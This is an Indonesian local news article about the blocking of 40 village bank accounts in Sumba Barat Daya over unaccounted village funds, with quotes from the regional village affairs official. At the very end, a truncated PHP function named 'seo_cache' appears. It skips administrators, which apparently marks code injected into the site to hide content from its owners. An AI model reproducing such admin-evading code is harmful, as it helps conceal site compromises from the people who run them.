Berita Desa

Rekening 40 Desa di SBD Diblokir Tak Ada Lagi Gali Lubang Tutup Lubang

×

Rekening 40 Desa di SBD Diblokir Tak Ada Lagi Gali Lubang Tutup Lubang

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Pengajuan pencairan dana desa tahap satu di kabupaten SBD tuntas dilakukan di tengah persoalan yang masih melilit 40 desa.

Karena itu, rekening 40 desa terpaksa diblokir setelah tidak dapat mempertanggungjawabkan penggunaan anggaran tahun sebelumnya.

Kepala Dinas PMD Kabupaten SBD, Semon Lende, S.Sos. ( Foto Menara Sumba )

“Kita blokir karena kelengkapan pertanggungjawaban yang disyaratkan belum dipenuhi,” jelas Kepala Dinas PMD Kabupaten SBD, Semon Lende, S.Sos, Kamis (12/06/2025).

40 desa yang diblokir rekeningnya ini terkendala sejumlah soal seperti SPJ yang belum disertakan, hingga rekomendasi persetujuan dari camat yang juga belum diperoleh.

“Selain SPJ dan rekomendasi camat ada pula kelengkapan lain yang juga belum dilampirkan,” aku Semon.

Pengajuan pencairan untuk 173 desa di SBD bertujuan untuk untuk menyelamatkan uang rakyat.

Pasalnya, batas waktu pengajuan pencairan dana desa tahap satu tahun ini hanya diperbolehkan sampai tanggal 16 Juni 2025.

Pemblokiran rekening itu berlangsung hingga kepala desa bersangkutan bisa menuntaskan persoalan pertanggungjawaban anggaran sesuai hasil temuan.

“Jadi mulai tahun ini tidak ada lagi istilah gali lubang tutup lubang, dimana utang tahun lalu dibayar dengan dana tahun ini,” bebernya.

Selama ini, sebut Semon, banyak ketimpangan yang timbul karena dana desa dimanfaatkan tidak sesuai peruntukan.

Ada kepala desa yang menunggak pembayaran kegiatan tahun lalu karena dananya dipakai untuk kepentingan lain.

“Kemudian utang itu dilunasi ketika dana desa tahun berikut cair. Ini yang diistilahkan dengan gali lubang tutup lubang,” terangnya.

Permasalahan desa ini diketahui berdasarkan hasil pemeriksaan Inspektorat dan juga temuan DPRD dalam sejumlah kunjungan kerja yang dilakukan beberapa waktu lalu.

Dari hasil temuan itu para kepala desa diberi waktu untuk menyelesaikan temuan sesuai Laporan Hasil Pemeriksaan (LHP) Inspektorat.

“LHP ini juga yang jadi dasar rujukan APH untuk bertindak,” imbuh Semon Lende.

Ia menyebut, 40 desa bermasalah akan diberi peringatan untuk menyelesaikan persoalan.

“Ada peringatan pertama, peringatan kedua, peringatan ketiga, hingga penonaktifan dari jabatan oleh bupati,” tandasnya.

Jika dinonaktifkan maka sekretaris desa akan ditunjuk sebagai pelaksana tugas kepala desa.

Hal ini bertujuan agar pelayanan penyelenggaraan pemerintahan, pelaksanaan pembangunan, dan pelayanan kemasyarakatan di desa tetap berjalan.

“Terutama menyangkut pengelolaan dana desa yang wajib dilaksanakan oleh pemerintah desa,” timpalnya.

Selama itu kepala desa non aktif diberi kesempatan untuk menyelesaikan pertanggungjawaban anggaran hingga tuntas.

“Jika tidak diselesaikan maka pasti berujung pada urusan hukum dan berdampak dilakukan pemilihan kepala desa yang baru,” pungkas Semon Lende. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>